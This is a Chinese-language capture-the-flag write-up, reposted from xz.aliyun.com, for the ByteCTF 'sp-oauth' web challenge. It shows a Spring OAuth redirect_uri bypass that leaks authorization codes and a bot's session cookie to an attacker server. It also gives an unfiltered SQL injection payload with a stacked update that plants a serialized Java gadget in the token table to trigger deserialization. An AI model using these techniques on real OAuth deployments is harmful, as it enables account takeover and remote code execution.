ByteCTF web sp-oauth 题解

  • A+
所属分类:CTF专场

更多全球网络安全资讯尽在邑安全

ByteCTF唯一一道0解题目,比赛的时候卡住了,最后磕磕绊绊的做了一下

这个题目主要考察对Spring-oauth的理解,可惜我对Spring-oauth一无所知:)

题目分为两个端口

http://39.105.175.150:30003/

http://39.105.175.150:30002/

30003端口是最开始题目给的端口

ByteCTF web sp-oauth 题解

然后又给出了一个ice cream在30002

http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback

ByteCTF web sp-oauth 题解

好了,我们先了解一下正常的流程,在30003端口注册一个用户cxcsec

ByteCTF web sp-oauth 题解

ByteCTF web sp-oauth 题解

然后在30002端口注册一个cxctest,登录我们访问最开始的链接 http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback

会发现跳转到了30003的bind接口

ByteCTF web sp-oauth 题解

这时候输入30003的cxcsec的账号密码,我们就可以把30002的cxctest和30003的cxcsec进行绑定。再登录30002的cxctest,就可以转到30003的cxcsec账号

ByteCTF web sp-oauth 题解

那么这个过程中的什么步骤我们可以控制一下呢?就是30002最开始的那个链接

ByteCTF web sp-oauth 题解

成为管理员

我们可以搜到这么一篇文章https://www.redhatzone.com/ask/article/2379.html

ByteCTF web sp-oauth 题解

可以通过设置redirect_url为

http://xxx.xxx.xxx.xxx%[email protected]:30003/zwo/callback

来使其请求重定向到我们的服务器,并且携带code

验证一下

ByteCTF web sp-oauth 题解

ByteCTF web sp-oauth 题解

我们可以看到服务器收到了我们的code,这个code是用一次就失效的。

在正常流程中,我们进行跳转之后,会获得一个

Set-Cookie: JSESSIONID=xxxxxx; Path=/; HttpOnly

ByteCTF web sp-oauth 题解

我们用这个cookie就能访问到30003对应的用户,所以沿着这个思路,我们知道30003最开始登录进去是之后,有一个给bot提供url的操作。那么我们将恶意的url传给bot,就可以打到bot的code。

在实际操作的时候,还是卡了很久。一开始以为自己的思路错误,后来发现是host的锅,我们必须把host设置成redirect_url的值,才能正常返回302。不然的话会如下报错

ByteCTF web sp-oauth 题解

拿到cookie之后,登录进管理员。我们可以看到一个查看客户端信息

ByteCTF web sp-oauth 题解

ByteCTF web sp-oauth 题解

这个地方也是卡了好久,可能当时做题太累,当时脑袋卡住了。这地方是30002端口,我当时点击之后,就会跳到30002的登录界面。两个多小时后发现,只要正常登录一个30002的账户,然后就可以正常访问这个url

ByteCTF web sp-oauth 题解

这地方是个sql注入,没有任何限制。这里sqlmap可以直接拖库。尝试了好久好久的ssti,直到比赛最后给了pom.xml提示,我还看到了thymeleaf,然后继续搞ssti到接近比赛结束。主要感觉如果是反序列化的话,没有触发点(原谅我太天真了),就没怎么看反序列化。

直到比赛结束,就做到这里

反序列化

最后找到了,发现了spring-oauth的一些数据,是序列化存储在数据库中的https://www.cxyzjd.com/article/u014730165/83501594

ByteCTF web sp-oauth 题解

不知道是不是因为我的sqlmap版本太古老了,我拖库之后,发现token没有值,想当然以为是出题人设置。所以当时直接认为反序列化这条路行不通

ByteCTF web sp-oauth 题解

我们从题目中看一下

ByteCTF web sp-oauth 题解

那就很简单了,看pom.xml有javax.transaction-api依赖,估计是打SpringJndiWithJtaTransactionManager。题目的sql注入可以堆叠,直接update自己的30002端口用户的token为恶意payload就可以

client_id=62608e08adc29a8d6dbc9754e659f125'union select hex(token),"1",'1','4','1' ,'6','7',"9","99",'1','9' from oauth_access_token where user_name='cxc' limit 1,1;update oauth_access_token set token=0xacedxxxxxxxxxxxxxxxxxxxxxxxxxxxxd where user_name='cxc'%23

这里需要注意的是,想要触发反序列化还得再访问一次正常的链接

http://39.105.175.150:30002/oauth/authorize?response_type=code&client_id=62608e08adc29a8d6dbc9754e659f125&redirect_uri=http://39.105.175.150:30003/zwo/callback

我在实际测试中ldap协议打不了,不知道为啥,蹲一个大佬解释。

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/10389

欢迎收藏并分享朋友圈,让五邑人网络更安全

ByteCTF web sp-oauth 题解

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):ByteCTF web sp-oauth 题解

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: